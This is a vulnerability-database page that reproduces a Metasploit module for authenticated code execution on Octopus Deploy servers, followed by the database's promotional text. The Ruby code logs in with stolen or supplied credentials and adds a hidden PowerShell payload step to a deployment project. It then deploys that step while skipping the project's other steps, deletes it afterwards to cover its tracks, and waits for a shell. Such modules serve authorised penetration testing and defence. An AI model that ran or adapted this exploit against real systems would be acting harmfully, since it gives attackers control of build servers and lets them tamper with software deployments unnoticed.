Lucene search
K

Octopus Deploy - (Authenticated) Code Execution (Metasploit)

🗓️ 29 May 2017 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 58 Views

Octopus Deploy Authenticated Code Execution module for executing a payload on Octopus Deploy server during deploymen

Code
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'
require 'json'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Octopus Deploy Authenticated Code Execution',
      'Description' => %q{
          This module can be used to execute a payload on an Octopus Deploy server given
          valid credentials or an API key. The payload is execued as a powershell script step
          on the Octopus Deploy server during a deployment.
      },
      'License'     => MSF_LICENSE,
      'Author'      => [ 'James Otten <jamesotten1[at]gmail.com>' ],
      'References'  =>
        [
          # Octopus Deploy docs
          [ 'URL', 'https://octopus.com' ]
        ],
      'DefaultOptions'  =>
        {
          'WfsDelay'    => 30,
          'EXITFUNC'    => 'process'
        },
      'Platform'        => 'win',
      'Targets'         =>
        [
          [ 'Windows Powershell', { 'Platform' => [ 'windows' ], 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
        ],
      'DefaultTarget'   => 0,
      'DisclosureDate'  => 'May 15 2017'
    ))

    register_options(
      [
        OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
        OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
        OptString.new('APIKEY', [ false, 'API key to use instead of username and password']),
        OptString.new('PATH', [ true, 'URI of the Octopus Deploy server. Default is /', '/']),
        OptString.new('STEPNAME', [false, 'Name of the script step that will be temporarily added'])
      ]
    )
  end

  def check
    res = nil
    if datastore['APIKEY']
      res = check_api_key
    elsif datastore['USERNAME'] && datastore['PASSWORD']
      res = do_login
    else
      begin
        fail_with(Failure::BadConfig, 'Need username and password or API key')
      rescue Msf::Exploit::Failed => e
        vprint_error(e.message)
        return CheckCode::Unknown
      end
    end
    disconnect
    return CheckCode::Unknown if res.nil?
    if res.code.between?(400, 499)
      vprint_error("Server rejected the credentials")
      return CheckCode::Unknown
    end
    CheckCode::Appears
  end

  def exploit
    # Generate the powershell payload
    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, use_single_quotes: true)
    step_name = datastore['STEPNAME'] || rand_text_alphanumeric(4 + rand(32 - 4))
    session = create_octopus_session unless datastore['APIKEY']

    #
    # Get project steps
    #
    print_status("Getting available projects")
    project = get_project(session)
    project_id = project['Id']
    project_name = project['Name']
    print_status("Using project #{project_name}")

    print_status("Getting steps to #{project_name}")
    steps = get_steps(session, project_id)
    added_step = make_powershell_step(command, step_name)
    steps['Steps'].insert(0, added_step)
    modified_steps = JSON.pretty_generate(steps)

    #
    # Add step
    #
    print_status("Adding step #{step_name} to #{project_name}")
    put_steps(session, project_id, modified_steps)

    #
    # Make release
    #
    print_status('Getting available channels')
    channels = get_channel(session, project_id)
    channel = channels['Items'][0]['Id']
    channel_name = channels['Items'][0]['Name']
    print_status("Using channel #{channel_name}")

    print_status('Getting next version')
    version = get_version(session, project_id, channel)
    print_status("Using version #{version}")

    release_params = {
      "ProjectId"        => project_id,
      "ChannelId"        => channel,
      "Version"          => version,
      "SelectedPackages" => []
    }
    release_params_str = JSON.pretty_generate(release_params)
    print_status('Creating release')
    release_id = do_release(session, release_params_str)
    print_status("Release #{release_id} created")

    #
    # Deploy
    #
    dash = do_get_dashboard(session, project_id)

    environment = dash['Environments'][0]['Id']
    environment_name = dash['Environments'][0]['Name']
    skip_steps = do_get_skip_steps(session, release_id, environment, step_name)
    deployment_params = {
      'ReleaseId'            => release_id,
      'EnvironmentId'        => environment,
      'SkipActions'          => skip_steps,
      'ForcePackageDownload' => 'False',
      'UseGuidedFailure'     => 'False',
      'FormValues'           => {}
    }
    deployment_params_str = JSON.pretty_generate(deployment_params)
    print_status("Deploying #{project_name} version #{version} to #{environment_name}")
    do_deployment(session, deployment_params_str)

    #
    # Delete step
    #
    print_status("Getting updated steps to #{project_name}")
    steps = get_steps(session, project_id)
    print_status("Deleting step #{step_name} from #{project_name}")
    steps['Steps'].each do |item|
      steps['Steps'].delete(item) if item['Name'] == step_name
    end
    modified_steps = JSON.pretty_generate(steps)
    put_steps(session, project_id, modified_steps)
    print_status("Step #{step_name} deleted")

    #
    # Wait for shell
    #
    handler
  end

  def get_project(session)
    path = 'api/projects'
    res = send_octopus_get_request(session, path, 'Get projects')
    body = parse_json_response(res)
    body['Items'].each do |item|
      return item if item['IsDisabled'] == false
    end
    fail_with(Failure::Unknown, 'No suitable projects found.')
  end

  def get_steps(session, project_id)
    path = "api/deploymentprocesses/deploymentprocess-#{project_id}"
    res = send_octopus_get_request(session, path, 'Get steps')
    body = parse_json_response(res)
    body
  end

  def put_steps(session, project_id, steps)
    path = "api/deploymentprocesses/deploymentprocess-#{project_id}"
    send_octopus_put_request(session, path, 'Put steps', steps)
  end

  def get_channel(session, project_id)
    path = "api/projects/#{project_id}/channels"
    res = send_octopus_get_request(session, path, 'Get channel')
    parse_json_response(res)
  end

  def get_version(session, project_id, channel)
    path = "api/deploymentprocesses/deploymentprocess-#{project_id}/template?channel=#{channel}"
    res = send_octopus_get_request(session, path, 'Get version')
    body = parse_json_response(res)
    body['NextVersionIncrement']
  end

  def do_get_skip_steps(session, release, environment, payload_step_name)
    path = "api/releases/#{release}/deployments/preview/#{environment}"
    res = send_octopus_get_request(session, path, 'Get skip steps')
    body = parse_json_response(res)
    skip_steps = []
    body['StepsToExecute'].each do |item|
      if (!item['ActionName'].eql? payload_step_name) && item['CanBeSkipped']
        skip_steps.push(item['ActionId'])
      end
    end
    skip_steps
  end

  def do_release(session, params)
    path = 'api/releases'
    res = send_octopus_post_request(session, path, 'Do release', params)
    body = parse_json_response(res)
    body['Id']
  end

  def do_get_dashboard(session, project_id)
    path = "api/dashboard/dynamic?includePrevious=true&projects=#{project_id}"
    res = send_octopus_get_request(session, path, 'Get dashboard')
    parse_json_response(res)
  end

  def do_deployment(session, params)
    path = 'api/deployments'
    send_octopus_post_request(session, path, 'Do deployment', params)
  end

  def make_powershell_step(ps_payload, step_name)
    prop = {
      'Octopus.Action.RunOnServer' => 'true',
      'Octopus.Action.Script.Syntax' => 'PowerShell',
      'Octopus.Action.Script.ScriptSource' => 'Inline',
      'Octopus.Action.Script.ScriptBody' => ps_payload
    }
    step = {
      'Name' => step_name,
      'Environments' => [],
      'Channels' => [],
      'TenantTags' => [],
      'Properties' => { 'Octopus.Action.TargetRoles' => '' },
      'Condition' => 'Always',
      'StartTrigger' => 'StartWithPrevious',
      'Actions' => [ { 'ActionType' => 'Octopus.Script', 'Name' => step_name, 'Properties' => prop } ]
    }
    step
  end

  def send_octopus_get_request(session, path, nice_name = '')
    request_path = normalize_uri(datastore['PATH'], path)
    headers = create_request_headers(session)
    res = send_request_raw(
      'method' => 'GET',
      'uri' => request_path,
      'headers' => headers,
      'SSL' => ssl
    )
    check_result_status(res, request_path, nice_name)
    res
  end

  def send_octopus_post_request(session, path, nice_name, data)
    res = send_octopus_data_request(session, path, data, 'POST')
    check_result_status(res, path, nice_name)
    res
  end

  def send_octopus_put_request(session, path, nice_name, data)
    res = send_octopus_data_request(session, path, data, 'PUT')
    check_result_status(res, path, nice_name)
    res
  end

  def send_octopus_data_request(session, path, data, method)
    request_path = normalize_uri(datastore['PATH'], path)
    headers = create_request_headers(session)
    headers['Content-Type'] = 'application/json'
    res = send_request_raw(
      'method' => method,
      'uri' => request_path,
      'headers' => headers,
      'data' => data,
      'SSL' => ssl
    )
    res
  end

  def check_result_status(res, request_path, nice_name)
    if !res || res.code < 200 || res.code >= 300
      req_name = nice_name || 'Request'
      fail_with(Failure::UnexpectedReply, "#{req_name} failed #{request_path} [#{res.code} #{res.message}]")
    end
  end

  def create_request_headers(session)
    headers = {}
    if session.blank?
      headers['X-Octopus-ApiKey'] = datastore['APIKEY']
    else
      headers['Cookie'] = session
      headers['X-Octopus-Csrf-Token'] = get_csrf_token(session, 'Octopus-Csrf-Token')
    end
    headers
  end

  def get_csrf_token(session, csrf_cookie)
    key_vals = session.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/)
    key_vals.each do |name, value|
      return value if name.starts_with?(csrf_cookie)
    end
    fail_with(Failure::Unknown, 'CSRF token not found')
  end

  def parse_json_response(res)
    begin
      json = JSON.parse(res.body)
      return json
    rescue JSON::ParserError
      fail_with(Failure::Unknown, 'Failed to parse response json')
    end
  end

  def create_octopus_session
    res = do_login
    if res && res.code == 404
      fail_with(Failure::BadConfig, 'Incorrect path')
    elsif !res || (res.code != 200)
      fail_with(Failure::NoAccess, 'Could not initiate session')
    end
    res.get_cookies
  end

  def do_login
    json_post_data = JSON.pretty_generate({ Username: datastore['USERNAME'], Password: datastore['PASSWORD'] })
    path = normalize_uri(datastore['PATH'], '/api/users/login')
    res = send_request_raw(
      'method' => 'POST',
      'uri' => path,
      'ctype' => 'application/json',
      'data' => json_post_data,
      'SSL' => ssl
    )

    if !res || (res.code != 200)
      print_error("Login failed")
    elsif res.code == 200
      report_octopusdeploy_credential
    end

    res
  end

  def check_api_key
    headers = {}
    headers['X-Octopus-ApiKey'] = datastore['APIKEY'] || ''
    path = normalize_uri(datastore['PATH'], '/api/serverstatus')
    res = send_request_raw(
      'method' => 'GET',
      'uri' => path,
      'headers' => headers,
      'SSL' => ssl
    )

    print_error("Login failed") if !res || (res.code != 200)

    vprint_status(res.body)

    res
  end

  def report_octopusdeploy_credential
    service_data = {
      address: ::Rex::Socket.getaddress(datastore['RHOST'], true),
      port: datastore['RPORT'],
      service_name: (ssl ? "https" : "http"),
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      private_type: :password,
      private_data: datastore['PASSWORD'].downcase,
      username: datastore['USERNAME']
    }

    credential_data.merge!(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
      access_level: 'Admin',
      core: credential_core,
      last_attempted_at: DateTime.now,
      status: Metasploit::Model::Login::Status::SUCCESSFUL
    }
    login_data.merge!(service_data)
    create_credential_login(login_data)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation